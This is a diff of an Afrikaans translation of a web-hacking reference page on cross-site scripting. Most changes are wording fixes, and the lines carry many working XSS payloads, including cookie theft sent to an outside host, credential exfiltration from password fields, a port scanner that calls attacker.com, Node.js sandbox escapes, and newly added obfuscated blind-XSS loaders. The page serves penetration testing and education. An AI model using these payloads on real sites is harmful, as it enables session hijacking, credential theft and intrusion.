@ -401,14 +401,14 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS in "Onbenutbare merke" (verborgene invoer, skakel, kanoniek, meta)
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborgene invoer te misbruik met:**
Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om versteekte invoer te misbruik met:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
En in **meta-tags**:
En in **meta tags**:
```html
<!-- Injection inside meta attribute-->
<meta
@ -452,7 +452,7 @@ As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort inter
Byvoorbeeld, jy kan 'n bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Maar, as die WAF die styl eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy vind, byvoorbeeld
Maar, as die WAF die styl eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy byvoorbeeld vind
> .test {display:block; color: blue; width: 100%\}
@ -472,7 +472,7 @@ In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of
### Ontsnapping van \<script> etiket
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **etiket sluit ontsnap:**
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **etiket sluit** ontsnap:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
<TAB>
/**/
```
**JavaScript kommentaar (van** [**JavaScript Kommentaar**](#javascript-comments) **trik)**
**JavaScript kommentaaren (van** [**JavaScript Kommentaaren**](#javascript-comments) **trik)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -753,7 +753,7 @@ Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verdui
### Koekie XSS
As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie toss aanval gebruik:
As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie tossing aanval gebruik:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -783,8 +783,8 @@ Jy kan kyk of die **reflekteerde waardes** **unicode genormaliseer** word op die
```
### Ruby-On-Rails omseiling
As gevolg van **RoR mass assignment** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\
Form voorbeeld ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur:
As gevolg van **RoR massa toewysing** word aanhalings in die HTML ingevoeg en dan word die aanhaling beperking omseil en addisionele velde (onfocus) kan binne die etiket bygevoeg word.\
Formulier voorbeeld ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
@ -824,16 +824,16 @@ Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind.
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS met header-inspuiting in 'n 302-respons
### XSS met header-inspuiting in 'n 302 antwoord
As jy vind dat jy **headers in 'n 302-omleidingrespons kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
As jy vind dat jy **headers in 'n 302 Redirect antwoord kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-header_, `resource://`.
### Slegs Letters, Syfers en Punte
### Slegs Letters, Nommers en Punte
As jy in staat is om die **callback** aan te dui wat javascript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
### Geldige `<script>` Inhoud-Tipes vir XSS
@ -865,7 +865,7 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Script Tipes vir XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) So, watter tipes kan aangedui word om 'n skrip te laai?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) So, watter tipes kan aangedui word om 'n script te laai?
```html
<script type="???"></script>
```
@ -899,7 +899,7 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger.
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS ontketen.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg:
```html
@ -932,9 +932,9 @@ Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/
In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Inhoudstype
### xml Inhouds tipe
As die bladsy 'n text/xml inhoudstype teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
As die bladsy 'n text/xml inhouds tipe teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -956,7 +956,7 @@ chrome-cache-to-xss.md
### XS Jails Ontsnapping
As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
As jy net 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -996,13 +996,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- Toegang tot `require` indirek
[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) word modules deur Node.js binne 'n funksie toegedraai, soos volg:
[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules word deur Node.js binne 'n funksie toegedraai, soos volg:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om **`require`** te bekom:
Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te verkry:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1011,7 +1011,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanterings** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te verkry:
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fout hanteerders** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te kry:
```javascript
try {
null.f()
@ -1270,7 +1270,7 @@ Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verla
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
> Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom nie** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
### Steel Bladsy Inhoud
```javascript
@ -1346,7 +1346,7 @@ q.shift()()
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### Port Scanner (websockets)
### Poort Skandeerder (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1361,7 +1361,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Kort tye dui 'n antwoordende poort aan_ _Langere tye dui geen antwoord aan._
_Kort tye dui 'n antwoordende poort aan_ _Langere tye dui geen reaksie aan._
Kyk na die lys van poorte wat in Chrome verbied is [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) en in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
@ -1380,7 +1380,7 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe ge-exfiltreer word.
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe uitgelekt word.
### Keylogger
@ -1432,7 +1432,7 @@ shadow-dom.md
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### Blinde XSS lasladinge
### Blinde XSS-ladinge
Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
```html
@ -1473,6 +1473,31 @@ Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - Toegang tot Verborgen Inhoud
@ -1515,12 +1540,12 @@ Het jy XSS op 'n **webwerf wat caching gebruik**? Probeer **dit opgradeer na SSR
```python
<esi:include src="http://yoursite.com/capture" />
```
Gebruik dit om koekiebeperkings, XSS-filters en nog baie meer te omseil!\
Gebruik dit om koekie-beperkings, XSS-filters en nog baie meer te omseil!\
Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS in dinamies geskepte PDF
As 'n webblad 'n PDF skep met gebruikersbeheerde invoer, kan jy probeer om die **bot** wat die PDF skep te **mislei** om **arbitraire JS-kode** te **uit te voer**.\
As 'n webblad 'n PDF skep met gebruikersbeheerde invoer, kan jy probeer om die **bot te mislei** wat die PDF skep om **arbitraire JS-kode** te **uit te voer**.\
As die **PDF-skeppende bot** 'n soort **HTML** **tags** vind, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
{{#ref}}
@ -1533,6 +1558,14 @@ As jy nie HTML-tags kan inspuit nie, kan dit die moeite werd wees om te probeer
pdf-injection.md
{{#endref}}
### XSS in Amp4Email
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP components](https://amp.dev/documentation/components/?format=websites).
Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie.
Voorbeeld [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS om lêers op te laai (svg)
Laai 'n lêer soos die volgende op as 'n beeld (van [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
@ -1593,7 +1626,7 @@ id="foo"/>
```
Vind **meer SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Verskeie JS Trukke & Relevante Inligting
## Verskeie JS Triks & Relevante Inligting
{{#ref}}
other-js-tricks.md
@ -1606,5 +1639,6 @@ other-js-tricks.md
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
{{#include ../../banners/hacktricks-training.md}}